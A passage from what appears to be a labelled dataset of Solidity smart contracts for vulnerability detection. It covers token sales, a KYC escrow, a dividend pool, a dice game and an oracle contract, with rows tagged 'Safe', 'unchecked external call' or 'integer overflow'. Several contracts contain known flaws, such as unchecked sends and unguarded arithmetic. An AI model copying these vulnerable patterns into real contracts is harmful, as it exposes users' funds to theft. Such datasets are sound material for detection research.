bonusToken.mint(_beneficiary, bonusTokens); } TokenAltPurchase( msg.sender, _beneficiary, _weiAmount, saleTokens, bonusTokens, _symbol, _transactionId ); } function transferOwnership(address _to) onlyOwner public { require(_to != address(0)); OwnershipTransferred(owner, _to); owner = _to; } function unpause() onlyOwner public { require(paused); paused = false; Unpause(); } function updateCapFlex(uint32 _capFlex) onlyOwner public { require(!finished); capFlex = _capFlex; CapFlexed(capFlex); } function whitelistMany( address[] _participants, uint256 _minWeiAmount, uint256 _maxWeiAmount, uint32 _bonusRate ) onlyOwner public { for (uint256 i = 0; i < _participants.length; i++) { whitelist( _participants[i], _minWeiAmount, _maxWeiAmount, _bonusRate ); } } function whitelist( address _participant, uint256 _minWeiAmount, uint256 _maxWeiAmount, uint32 _bonusRate ) onlyOwner public { require(_participant != 0x0); require(_bonusRate <= 400); whitelistedMin[_participant] = _minWeiAmount; whitelistedMax[_participant] = _maxWeiAmount; bonusRates[_participant] = _bonusRate; Whitelisted( _participant, _minWeiAmount, _maxWeiAmount, _bonusRate ); } function withdraw() onlyOwner public { require(softCapReached() || (finished && now > finishedAt + 14 days)); uint256 weiAmount = this.balance; if (weiAmount > 0) { wallet.transfer(weiAmount); Withdrawal(wallet, weiAmount); } } function hardCapReached() public constant returns (bool) { return weiRaised >= hardCap.mul(1000 + capFlex).div(1000); } function tokensForPurchase( address _beneficiary, uint256 _weiAmount ) public constant returns (uint256, uint256) { uint256 baseTokens = _weiAmount.mul(rate); uint256 totalPrior = totalDeposited(_beneficiary); uint256 totalAfter = totalPrior.add(_weiAmount); // Has the beneficiary passed the assigned minimum purchase level? if (totalAfter < whitelistedMin[_beneficiary]) { return (baseTokens, 0); } uint32 bonusRate = bonusRates[_beneficiary]; uint256 baseBonus = baseTokens.mul(1000 + bonusRate).div(1000).sub(baseTokens); // Do we pass the minimum purchase level with this purchase? if (totalPrior < whitelistedMin[_beneficiary]) { uint256 balancePrior = totalPrior.mul(rate); uint256 accumulatedBonus = balancePrior.mul(1000 + bonusRate).div(1000).sub(balancePrior); return (baseTokens, accumulatedBonus.add(baseBonus)); } return (baseTokens, baseBonus); } function totalDeposited(address _investor) public constant returns (uint256) { return deposited[_investor].add(altDeposited[_investor]); } function softCapReached() public constant returns (bool) { return weiRaised >= softCap.mul(1000 + capFlex).div(1000); } } contract TelcoinSaleKYCEscrow { using SafeMath for uint256; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event ValuePlaced(address indexed purchaser, address indexed beneficiary, uint256 amount); event Approved(address indexed participant); event Rejected(address indexed participant); event Closed(); /// The owner of the contract. address public owner; /// The actual sale. TelcoinSale public sale; /// Whether the escrow has closed. bool public closed = false; /// The amount of wei and wei equivalents invested by each investor. mapping(address => uint256) public deposited; modifier onlyOwner() { require(msg.sender == owner); _; } modifier escrowOpen() { require(!closed); _; } function TelcoinSaleKYCEscrow(TelcoinSale _sale) public { require(_sale != address(0)); owner = msg.sender; sale = _sale; } function () public payable { placeValue(msg.sender); } function approve(address _participant) onlyOwner public { uint256 weiAmount = deposited[_participant]; require(weiAmount > 0); deposited[_participant] = 0; Approved(_participant); sale.buyTokens.value(weiAmount)(_participant); } function approveMany(address[] _participants) onlyOwner public { for (uint256 i = 0; i < _participants.length; i++) { approve(_participants[i]); } } function close() onlyOwner public { require(!closed); closed = true; Closed(); } function placeValue(address _beneficiary) escrowOpen public payable { require(_beneficiary != address(0)); uint256 weiAmount = msg.value; require(weiAmount > 0); uint256 newDeposited = deposited[_beneficiary].add(weiAmount); deposited[_beneficiary] = newDeposited; ValuePlaced( msg.sender, _beneficiary, weiAmount ); } function reject(address _participant) onlyOwner public { uint256 weiAmount = deposited[_participant]; require(weiAmount > 0); deposited[_participant] = 0; Rejected(_participant); require(_participant.call.value(weiAmount)()); } function rejectMany(address[] _participants) onlyOwner public { for (uint256 i = 0; i < _participants.length; i++) { reject(_participants[i]); } } function transferOwnership(address _to) onlyOwner public { require(_to != address(0)); OwnershipTransferred(owner, _to); owner = _to; } }",./Dataset/unchecked external call (UC),7,7 0x0389a06b028526b05966c287370bebefa0082176_Dividend.sol,"// TESTING CONTRACT contract Dividend { struct Contributor{ address addr; uint contribution; uint profit; } Contributor[] public contributors; uint public unprocessedProfits = 0; uint public totalContributors = 0; uint public totalContributions = 0; uint public totalProfit = 0; uint public totalSUM = 0; address public deployer; address public profitAddr; modifier execute { if (msg.sender == deployer) _ } function Dividend() { deployer = msg.sender; profitAddr = deployer; } function() { Enter(); } function Enter() { if (msg.sender == profitAddr) { unprocessedProfits = msg.value; } else { if (unprocessedProfits != 0) { uint profit; uint profitAmount = unprocessedProfits; uint contriTotal; totalProfit += profitAmount; if (contributors.length != 0 && profitAmount != 0) { for (uint proi = 0; proi < contributors.length; proi++) { contriTotal = contributors[proi].contribution + contributors[proi].profit; profit = profitAmount * contriTotal / totalSUM; contributors[proi].profit += profit; } } totalSUM += profitAmount; } uint contri = msg.value; bool recontri = false; totalContributions += contri; totalSUM += contri; for (uint recoi = 0; recoi < contributors.length; recoi++) { if (msg.sender == contributors[recoi].addr) { contributors[recoi].contribution += contri; recontri = true; break; } } if (recontri == false) { totalContributors = contributors.length + 1; contributors.length += 1; contributors[contributors.length - 1].addr = msg.sender; contributors[contributors.length - 1].contribution = contri; contributors[contributors.length - 1].profit = 0; } } } function PayOut(uint ContibutorNumber) { if (msg.sender == contributors[ContibutorNumber].addr) { uint cProfit = contributors[ContibutorNumber].profit; if (cProfit != 0) { contributors[ContibutorNumber].addr.send(cProfit); contributors[ContibutorNumber].profit = 0; totalProfit -= cProfit; totalSUM -= cProfit; } } } function TestContract() execute { deployer.send(this.balance); } function SetProfitAddr (address _newAddr) execute { profitAddr = _newAddr; } }",Safe,8,8 0x047a68fc8aaa9109346c726c696986f4b5792658_BitrngDice.sol,"pragma solidity ^0.4.17; contract BitrngDice { // Ownership. address public owner; address private nextOwner; // The address corresponding to a private key used to sign placeBet commits. address public secretSigner; // Minimum and maximum bets. uint constant MIN_AMOUNT = 0.01 ether; uint constant MAX_AMOUNT_BIG_SMALL = 1 ether; uint constant MAX_AMOUNT_SAME = 0.05 ether; uint constant MAX_AMOUNT_NUMBER = 0.1 ether; // EVM `BLOCKHASH` opcode can query no further than 256 blocks into the // past. Given that settleBet uses block hash of placeBet as one of // complementary entropy sources, we cannot process bets older than this // threshold. On rare occasions dice2.win croupier may fail to invoke // settleBet in this timespan due to technical issues or extreme Ethereum // congestion; such bets can be refunded via invoking refundBet. uint constant BET_EXPIRATION_BLOCKS = 250; // Max bets in one game. uint8 constant MAX_BET = 5; // Max bet types. uint8 constant BET_MASK_COUNT = 22; // Bet flags. uint24 constant BET_BIG = uint24(1 << 21); uint24 constant BET_SMALL = uint24(1 << 20); uint24 constant BET_SAME_1 = uint24(1 << 19); uint24 constant BET_SAME_2 = uint24(1 << 18); uint24 constant BET_SAME_3 = uint24(1 << 17); uint24 constant BET_SAME_4 = uint24(1 << 16); uint24 constant BET_SAME_5 = uint24(1 << 15); uint24 constant BET_SAME_6 = uint24(1 << 14); uint24 constant BET_4 = uint24(1 << 13); uint24 constant BET_5 = uint24(1 << 12); uint24 constant BET_6 = uint24(1 << 11); uint24 constant BET_7 = uint24(1 << 10); uint24 constant BET_8 = uint24(1 << 9); uint24 constant BET_9 = uint24(1 << 8); uint24 constant BET_10 = uint24(1 << 7); uint24 constant BET_11 = uint24(1 << 6); uint24 constant BET_12 = uint24(1 << 5); uint24 constant BET_13 = uint24(1 << 4); uint24 constant BET_14 = uint24(1 << 3); uint24 constant BET_15 = uint24(1 << 2); uint24 constant BET_16 = uint24(1 << 1); uint24 constant BET_17 = uint24(1); // Funds that are locked in potentially winning bets. Prevents contract from // committing to bets it cannot pay out. uint public lockedInBets; // Set false to disable betting. bool public enabled = true; // Some deliberately invalid address to initialize the secret signer with. // Forces maintainers to invoke setSecretSigner before processing any bets. address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // The game struct, only supports 5 bet. struct Game{ address gambler; uint40 placeBlockNumber; // block number contains place bet txn uint bet1Amount; uint bet2Amount; uint bet3Amount; uint bet4Amount; uint bet5Amount; uint24 mask; // bet flags ored together } // Mapping from commits to all currently active & processed bets. mapping (uint => Game) games; // Mapping for bet type to odds mapping (uint24 => uint8) odds; // Mapping for bet number results; mapping (uint24 => uint8) betNumberResults; // Mapdding for bet same number results mapping (uint24 => uint8) betSameResults; // Events that are issued to make statistic recovery easier. event FailedPayment(address indexed beneficiary, uint amount); event Payment(address indexed beneficiary, uint amount); constructor () public { owner = msg.sender; secretSigner = DUMMY_ADDRESS; // init odds odds[BET_SMALL] = 2; odds[BET_BIG] = 2; odds[BET_SAME_1] = 150; odds[BET_SAME_2] = 150; odds[BET_SAME_3] = 150; odds[BET_SAME_4] = 150; odds[BET_SAME_5] = 150; odds[BET_SAME_6] = 150; odds[BET_9] = 6; odds[BET_10] = 6; odds[BET_11] = 6; odds[BET_12] = 6; odds[BET_8] = 8; odds[BET_13] = 8; odds[BET_7] = 12; odds[BET_14] = 12; odds[BET_6] = 14; odds[BET_15] = 14; odds[BET_5] = 18; odds[BET_16] = 18; odds[BET_4] = 50; odds[BET_17] = 50; // init results betNumberResults[BET_9] = 9; betNumberResults[BET_10] = 10; betNumberResults[BET_11] = 11; betNumberResults[BET_12] = 12; betNumberResults[BET_8] = 8; betNumberResults[BET_13] = 13; betNumberResults[BET_7] = 7; betNumberResults[BET_14] = 14; betNumberResults[BET_6] = 6; betNumberResults[BET_15] = 15; betNumberResults[BET_5] = 5; betNumberResults[BET_16] = 16; betNumberResults[BET_4] = 4; betNumberResults[BET_17] = 17; betSameResults[BET_SAME_1] = 1; betSameResults[BET_SAME_2] = 2; betSameResults[BET_SAME_3] = 3; betSameResults[BET_SAME_4] = 4; betSameResults[BET_SAME_5] = 5; betSameResults[BET_SAME_6] = 6; } // Place game // // Betmask - flags for each bet, total 22 bits. // betAmount - 5 bet amounts in Wei // commitLastBlock - block number when `commit` expires // commit - sha3 of `reveal` // r, s - components of ECDSA signature of (commitLastBlock, commit). // Used to check commit is generated by `secretSigner` // // Game states: // amount == 0 && gambler == 0 - 'clean' (can place a bet) // amount != 0 && gambler != 0 - 'active' (can be settled or refunded) // amount == 0 && gambler != 0 - 'processed' (can clean storage) function placeGame( uint24 betMask, uint bet1Amount, uint bet2Amount, uint bet3Amount, uint bet4Amount, uint bet5Amount, uint commitLastBlock, uint commit, bytes32 r, bytes32 s ) external payable { // Is game enabled ? require (enabled, ""Game is closed""); // Check payed amount and sum of place amount are equal. require (bet1Amount + bet2Amount + bet3Amount + bet4Amount + bet5Amount == msg.value, ""Place amount and payment should be equal.""); // Check that the game is in 'clean' state. Game storage game = games[commit]; require (game.gambler == address(0), ""Game should be in a 'clean' state.""); // Check that commit is valid. It has not expired and its signature is valid. // r = signature[0:64] // s = signature[64:128] // v = signature[128:130], always 27 require (block.number <= commitLastBlock, ""Commit has expired.""); bytes32 signatureHash = keccak256(abi.encodePacked(uint40(commitLastBlock), commit)); require (secretSigner == ecrecover(signatureHash, 27, r, s), ""ECDSA signature is not valid.""); // Try to lock amount. _lockOrUnlockAmount( betMask, bet1Amount, bet2Amount, bet3Amount, bet4Amount, bet5Amount, 1 ); // Store game parameters on blockchain. game.placeBlockNumber = uint40(block.number); game.mask = uint24(betMask); game.gambler = msg.sender; game.bet1Amount = bet1Amount; game.bet2Amount = bet2Amount; game.bet3Amount = bet3Amount; game.bet4Amount = bet4Amount; game.bet5Amount = bet5Amount; } function settleGame(uint reveal, uint cleanCommit) external { // `commit` for bet settlement can only be obtained by hashing a `reveal`. uint commit = uint(keccak256(abi.encodePacked(reveal))); // Fetch bet parameters into local variables (to save gas). Game storage game = games[commit]; uint bet1Amount = game.bet1Amount; uint bet2Amount = game.bet2Amount; uint bet3Amount = game.bet3Amount; uint bet4Amount = game.bet4Amount; uint bet5Amount = game.bet5Amount; uint placeBlockNumber = game.placeBlockNumber; address gambler = game.gambler; uint24 betMask = game.mask; // Check that bet is in 'active' state. require ( bet1Amount != 0 || bet2Amount != 0 || bet3Amount != 0 || bet4Amount != 0 || bet5Amount != 0, ""Bet should be in an 'active' state""); // Check that bet has not expired yet (see comment to BET_EXPIRATION_BLOCKS). require (block.number > placeBlockNumber, ""settleBet in the same block as placeBet, or before.""); require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, ""Blockhash can't be queried by EVM.""); // Move bet into 'processed' state already. game.bet1Amount = 0; game.bet2Amount = 0; game.bet3Amount = 0; game.bet4Amount = 0; game.bet5Amount = 0; // The RNG - combine ""reveal"" and blockhash of placeBet using Keccak256. Miners // are not aware of ""reveal"" and cannot deduce it from ""commit"" (as Keccak256 // preimage is intractable), and house is unable to alter the ""reveal"" after // placeBet have been mined (as Keccak256 collision finding is also intractable). uint entropy = uint( keccak256(abi.encodePacked(reveal, blockhash(placeBlockNumber))) ); uint winAmount = _getWinAmount( uint8((entropy % 6) + 1), uint8(((entropy >> 10) % 6) + 1), uint8(((entropy >> 20) % 6) + 1), betMask, bet1Amount, bet2Amount, bet3Amount, bet4Amount, bet5Amount ); // Unlock the bet amount, regardless of the outcome. _lockOrUnlockAmount( betMask, bet1Amount, bet2Amount, bet3Amount, bet4Amount, bet5Amount, 0 ); // Send the funds to gambler. if(winAmount > 0){ sendFunds(gambler, winAmount); }else{ sendFunds(gambler, 1 wei); } // Clear storage of some previous bet. if (cleanCommit == 0) { return; } clearProcessedBet(cleanCommit); } // Refund transaction - return the bet amount of a roll that was not processed in a // due timeframe. Processing such blocks is not possible due to EVM limitations (see // BET_EXPIRATION_BLOCKS comment above for details). In case you ever find yourself // in a situation like this, just contact the dice2.win support, however nothing // precludes you from invoking this method yourself. function refundBet(uint commit) external { // Check that bet is in 'active' state. Game storage game = games[commit]; uint bet1Amount = game.bet1Amount; uint bet2Amount = game.bet2Amount; uint bet3Amount = game.bet3Amount; uint bet4Amount = game.bet4Amount; uint bet5Amount = game.bet5Amount; // Check that bet is in 'active' state. require ( bet1Amount != 0 || bet2Amount != 0 || bet3Amount != 0 || bet4Amount != 0 || bet5Amount != 0, ""Bet should be in an 'active' state""); // Check that bet has already expired. require (block.number > game.placeBlockNumber + BET_EXPIRATION_BLOCKS, ""Blockhash can't be queried by EVM.""); // Move bet into 'processed' state already. game.bet1Amount = 0; game.bet2Amount = 0; game.bet3Amount = 0; game.bet4Amount = 0; game.bet5Amount = 0; // Unlock the bet amount. _lockOrUnlockAmount( game.mask, bet1Amount, bet2Amount, bet3Amount, bet4Amount, bet5Amount, 0 ); // Send the refund. sendFunds(game.gambler, bet1Amount + bet2Amount + bet3Amount + bet4Amount + bet5Amount); } // Helper routine to move 'processed' bets into 'clean' state. function clearProcessedBet(uint commit) private { Game storage game = games[commit]; // Do not overwrite active bets with zeros; additionally prevent cleanup of bets // for which commit signatures may have not expired yet (see whitepaper for details). if ( game.bet1Amount != 0 || game.bet2Amount != 0 || game.bet3Amount != 0 || game.bet4Amount != 0 || game.bet5Amount != 0 || block.number <= game.placeBlockNumber + BET_EXPIRATION_BLOCKS ) { return; } // Zero out the remaining storage (amount was zeroed before, delete would consume 5k // more gas). game.placeBlockNumber = 0; game.mask = 0; game.gambler = address(0); } // A helper routine to bulk clean the storage. function clearStorage(uint[] cleanCommits) external { uint length = cleanCommits.length; for (uint i = 0; i < length; i++) { clearProcessedBet(cleanCommits[i]); } } // Send funds. function sendFunds(address beneficiary, uint amount) private { if (beneficiary.send(amount)) { emit Payment(beneficiary, amount); } else { emit FailedPayment(beneficiary, amount); } } // Get actual win amount. // dice1, dice2, dice3 - dice from 1 to 6 function _getWinAmount( uint8 dice1, uint8 dice2, uint8 dice3, uint24 betMask, uint bet1Amount, uint bet2Amount, uint bet3Amount, uint bet4Amount, uint bet5Amount ) private view returns (uint winAmount) { uint8 betCount = 0; uint24 flag = 0; uint8 sum = dice1 + dice2 + dice3; uint8 i = 0; for (i = 0; i < BET_MASK_COUNT; i++) { flag = uint24(1) << i; if(uint24(betMask & flag) == 0){ continue; }else{ betCount += 1; } if(i < 14){ if(sum == betNumberResults[flag]){ winAmount += odds[flag] * _nextAmount( betCount, bet1Amount, bet2Amount, bet3Amount, bet4Amount, bet5Amount ); } continue; } if(i >= 14 && i < 20){ if(dice1 == betSameResults[flag] && dice1 == dice2 && dice1 == dice3){ winAmount += odds[flag] * _nextAmount( betCount, bet1Amount, bet2Amount, bet3Amount, bet4Amount, bet5Amount ); } continue; } if( i == 20 && (sum >= 4 && sum <= 10) && (dice1 != dice2 || dice1 != dice3 || dice2 != dice3) ){ winAmount += odds[flag] * _nextAmount( betCount, bet1Amount, bet2Amount, bet3Amount, bet4Amount, bet5Amount ); } if( i == 21 && (sum >= 11 && sum <= 17) && (dice1 != dice2 || dice1 != dice3 || dice2 != dice3) ){ winAmount += odds[flag] * _nextAmount( betCount, bet1Amount, bet2Amount, bet3Amount, bet4Amount, bet5Amount ); } if(betCount == MAX_BET){ break; } } } // Choose next amount by bet count function _nextAmount( uint8 betCount, uint bet1Amount, uint bet2Amount, uint bet3Amount, uint bet4Amount, uint bet5Amount ) private pure returns (uint amount) { if(betCount == 1){ return bet1Amount; } if(betCount == 2){ return bet2Amount; } if(betCount == 3){ return bet3Amount; } if(betCount == 4){ return bet4Amount; } if(betCount == 5){ return bet5Amount; } } // lock = 1, lock // lock = 0, unlock function _lockOrUnlockAmount( uint24 betMask, uint bet1Amount, uint bet2Amount, uint bet3Amount, uint bet4Amount, uint bet5Amount, uint8 lock ) private { uint8 betCount; uint possibleWinAmount; uint betBigSmallWinAmount = 0; uint betNumberWinAmount = 0; uint betSameWinAmount = 0; uint24 flag = 0; for (uint8 i = 0; i < BET_MASK_COUNT; i++) { flag = uint24(1) << i; if(uint24(betMask & flag) == 0){ continue; }else{ betCount += 1; } if(i < 14 ){ betNumberWinAmount = _assertAmount( betCount, bet1Amount, bet2Amount, bet3Amount, bet4Amount, bet5Amount, MAX_AMOUNT_NUMBER, odds[flag], betNumberWinAmount ); continue; } if(i >= 14 && i < 20){ betSameWinAmount = _assertAmount( betCount, bet1Amount, bet2Amount, bet3Amount, bet4Amount, bet5Amount, MAX_AMOUNT_SAME, odds[flag], betSameWinAmount ); continue; } if(i >= 20){ betBigSmallWinAmount = _assertAmount( betCount, bet1Amount, bet2Amount, bet3Amount, bet4Amount, bet5Amount, MAX_AMOUNT_BIG_SMALL, odds[flag], betBigSmallWinAmount ); continue; } if(betCount == MAX_BET){ break; } } if(betSameWinAmount >= betBigSmallWinAmount){ possibleWinAmount += betSameWinAmount; }else{ possibleWinAmount += betBigSmallWinAmount; } possibleWinAmount += betNumberWinAmount; // Check that game has valid number of bets require (betCount > 0 && betCount <= MAX_BET, ""Place bet count should be within range.""); if(lock == 1){ // Lock funds. lockedInBets += possibleWinAmount; // Check whether contract has enough funds to process this bet. require (lockedInBets <= address(this).balance, ""Cannot afford to lose this bet.""); }else{ // Unlock funds. lockedInBets -= possibleWinAmount; require (lockedInBets >= 0, ""Not enough locked in amount.""); } } function _max(uint amount, uint8 odd, uint possibleWinAmount) private pure returns (uint newAmount) { uint winAmount = amount * odd; if( winAmount > possibleWinAmount){ return winAmount; }else{ return possibleWinAmount; } } function _assertAmount( uint8 betCount, uint amount1, uint amount2, uint amount3, uint amount4, uint amount5, uint maxAmount, uint8 odd, uint possibleWinAmount ) private pure returns (uint amount) { string memory warnMsg = ""Place bet amount should be within range.""; if(betCount == 1){ require (amount1 >= MIN_AMOUNT && amount1 <= maxAmount, warnMsg); return _max(amount1, odd, possibleWinAmount); } if(betCount == 2){ require (amount2 >= MIN_AMOUNT && amount2 <= maxAmount, warnMsg); return _max(amount2, odd, possibleWinAmount); } if(betCount == 3){ require (amount3 >= MIN_AMOUNT && amount3 <= maxAmount, warnMsg); return _max(amount3, odd, possibleWinAmount); } if(betCount == 4){ require (amount4 >= MIN_AMOUNT && amount4 <= maxAmount, warnMsg); return _max(amount4, odd, possibleWinAmount); } if(betCount == 5){ require (amount5 >= MIN_AMOUNT && amount5 <= maxAmount, warnMsg); return _max(amount5, odd, possibleWinAmount); } } // Standard modifier on methods invokable only by contract owner. modifier onlyOwner { require (msg.sender == owner, ""OnlyOwner methods called by non-owner.""); _; } // Standard contract ownership transfer implementation, function approveNextOwner(address _nextOwner) external onlyOwner { require (_nextOwner != owner, ""Cannot approve current owner.""); nextOwner = _nextOwner; } function acceptNextOwner() external { require (msg.sender == nextOwner, ""Can only accept preapproved new owner.""); owner = nextOwner; } // Fallback function deliberately left empty. It's primary use case // is to top up the bank roll. function () public payable { } // See comment for ""secretSigner"" variable. function setSecretSigner(address newSecretSigner) external onlyOwner { secretSigner = newSecretSigner; } // Funds withdrawal to cover team costs. function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner { require (withdrawAmount <= address(this).balance, ""Increase amount larger than balance.""); require (lockedInBets + withdrawAmount <= address(this).balance, ""Not enough funds.""); sendFunds(beneficiary, withdrawAmount); } // Contract may be destroyed only when there are no ongoing bets, // either settled or refunded. All funds are transferred to contract owner. function kill() external onlyOwner { require (lockedInBets == 0, ""All bets should be processed (settled or refunded) before self-destruct.""); selfdestruct(owner); } // Close or open the game. function enable(bool _enabled) external onlyOwner{ enabled = _enabled; } }",Safe,8,8 1319.sol,"pragma solidity ^0.4.16; contract SSOrgToken { address public owner; string public name; string public symbol; uint8 public constant decimals = 2; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => uint8) public sellTypeOf; mapping (address => uint256) public sellTotalOf; mapping (address => uint256) public sellPriceOf; event Transfer(address indexed from, address indexed to, uint256 value); function SSOrgToken( string tokenName, string tokenSymbol, uint256 tokenSupply ) public { name = tokenName; symbol = tokenSymbol; totalSupply = tokenSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; owner = msg.sender; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != 0x0); require(balanceOf[msg.sender] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function setSellInfo(uint8 newSellType, uint256 newSellTotal, uint256 newSellPrice) public returns (uint256) { require(newSellPrice > 0 && newSellTotal >= 0); if (newSellTotal > sellTotalOf[msg.sender]) { require(balanceOf[msg.sender] >= newSellTotal - sellTotalOf[msg.sender]); balanceOf[msg.sender] -= newSellTotal - sellTotalOf[msg.sender]; } else { balanceOf[msg.sender] += sellTotalOf[msg.sender] - newSellTotal; } sellTotalOf[msg.sender] = newSellTotal; sellPriceOf[msg.sender] = newSellPrice; sellTypeOf[msg.sender] = newSellType; return balanceOf[msg.sender]; } function buy(address seller) payable public returns (uint256 amount) { amount = msg.value / sellPriceOf[seller]; require(sellTypeOf[seller] == 0 ? sellTotalOf[seller] == amount : sellTotalOf[seller] >= amount); balanceOf[msg.sender] += amount; sellTotalOf[seller] -= amount; Transfer(seller, msg.sender, amount); seller.transfer(msg.value); return amount; } }",./Dataset/integer overflow (OF)/,4,4 0x0126c64e02d0d498a2a9ab44e5a9ef02acce8b7b_CGCG.sol,"pragma solidity ^0.4.11; contract SafeMath { function safeMul(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } contract ERC20 { function totalSupply() constant returns (uint256 totalSupply); function balanceOf(address who) constant returns (uint256); function allowance(address owner, address spender) constant returns (uint256); function transfer(address to, uint256 value) returns (bool ok); function transferFrom(address from, address to, uint256 value) returns (bool ok); function approve(address spender, uint256 value) returns (bool ok); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, SafeMath { mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public _totalSupply; address public _creator; bool bIsFreezeAll = false; function totalSupply() constant returns (uint256 totalSupply) { totalSupply = _totalSupply; } function transfer(address _to, uint256 _value) returns (bool success) { require(bIsFreezeAll == false); balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(bIsFreezeAll == false); var _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { require(bIsFreezeAll == false); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function freezeAll() { require(msg.sender == _creator); bIsFreezeAll = !bIsFreezeAll; } } contract CGCG is StandardToken { string public name = ""CGCG""; string public symbol = ""CGCG""; uint256 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 3000000000 * 10 ** decimals; function CGCG() { _totalSupply = INITIAL_SUPPLY; _creator = 0xD402334273338472993dD88bDEC0fE70F1Fa271D; balances[_creator] = INITIAL_SUPPLY; bIsFreezeAll = false; } function destroy() { require(msg.sender == _creator); suicide(_creator); } }",Safe,8,8 0x001a589dda0d6be37632925eaf1256986b2c6ad0_Oraclize.sol,"/* Copyright (c) 2015-2016 Oraclize srl, Thomas Bertani */ contract AmIOnTheFork{ function forked() constant returns(bool); } contract Oraclize { mapping (address => uint) reqc; address public cbAddress = 0x26588a9301b0428d95e6fc3a5024fce8bec12d51; address constant AmIOnTheForkAddress = 0x2bd2326c993dfaef84f696526064ff22eba5b362; event Log1(address sender, bytes32 cid, uint timestamp, string datasource, string arg, uint gaslimit, byte proofType, uint gasPrice); event Log2(address sender, bytes32 cid, uint timestamp, string datasource, string arg1, string arg2, uint gaslimit, byte proofType, uint gasPrice); address owner; modifier onlyadmin { if ((msg.sender != owner)&&(msg.sender != cbAddress)) throw; _ } function addDSource(string dsname, uint multiplier) { addDSource(dsname, 0x00, multiplier); } function addDSource(string dsname, byte proofType, uint multiplier) onlyadmin { bytes32 dsname_hash = sha3(dsname, proofType); dsources[dsources.length++] = dsname_hash; price_multiplier[dsname_hash] = multiplier; } mapping (bytes32 => bool) coupons; bytes32 coupon; function createCoupon(string _code) onlyadmin { coupons[sha3(_code)] = true; } function deleteCoupon(string _code) onlyadmin { coupons[sha3(_code)] = false; } function multisetProofType(uint[] _proofType, address[] _addr) onlyadmin { for (uint i=0; i<_addr.length; i++) addr_proofType[_addr[i]] = byte(_proofType[i]); } function multisetCustomGasPrice(uint[] _gasPrice, address[] _addr) onlyadmin { for (uint i=0; i<_addr.length; i++) addr_gasPrice[_addr[i]] = _gasPrice[i]; } uint gasprice = 20000000000; function setGasPrice(uint newgasprice) onlyadmin { gasprice = newgasprice; } function setBasePrice(uint new_baseprice) onlyadmin { //0.001 usd in ether baseprice = new_baseprice; for (uint i=0; i= price){ uint diff = msg.value - price; if (diff > 0) msg.sender.send(diff); _ } else throw; } mapping (address => byte) addr_proofType; mapping (address => uint) addr_gasPrice; uint public baseprice; mapping (bytes32 => uint) price; mapping (bytes32 => uint) price_multiplier; bytes32[] dsources; function useCoupon(string _coupon) { coupon = sha3(_coupon); } function setProofType(byte _proofType) { addr_proofType[msg.sender] = _proofType; } function setCustomGasPrice(uint _gasPrice) { addr_gasPrice[msg.sender] = _gasPrice; } function getPrice(string _datasource) public returns (uint _dsprice) { return getPrice(_datasource, msg.sender); } function getPrice(string _datasource, uint _gaslimit) public returns (uint _dsprice) { return getPrice(_datasource, _gaslimit, msg.sender); } function getPrice(string _datasource, address _addr) private returns (uint _dsprice) { return getPrice(_datasource, 200000, _addr); } function getPrice(string _datasource, uint _gaslimit, address _addr) private returns (uint _dsprice) { if ((_gaslimit <= 200000)&&(reqc[_addr] == 0)&&(tx.origin != cbAddress)) return 0; if ((coupon != 0)&&(coupons[coupon] == true)) return 0; _dsprice = price[sha3(_datasource, addr_proofType[_addr])]; uint gasprice_ = addr_gasPrice[_addr]; if (gasprice_ == 0) gasprice_ = gasprice; _dsprice += _gaslimit*gasprice_; return _dsprice; } function query(string _datasource, string _arg) returns (bytes32 _id) { return query1(0, _datasource, _arg, 200000); } function query1(string _datasource, string _arg) returns (bytes32 _id) { return query1(0, _datasource, _arg, 200000); } function query2(string _datasource, string _arg1, string _arg2) returns (bytes32 _id) { return query2(0, _datasource, _arg1, _arg2, 200000); } function query(uint _timestamp, string _datasource, string _arg) returns (bytes32 _id) { return query1(_timestamp, _datasource, _arg, 200000); } function query1(uint _timestamp, string _datasource, string _arg) returns (bytes32 _id) { return query1(_timestamp, _datasource, _arg, 200000); } function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) returns (bytes32 _id) { return query2(_timestamp, _datasource, _arg1, _arg2, 200000); } function query(uint _timestamp, string _datasource, string _arg, uint _gaslimit) returns (bytes32 _id) { return query1(_timestamp, _datasource, _arg, _gaslimit); } function query1(uint _timestamp, string _datasource, string _arg, uint _gaslimit) 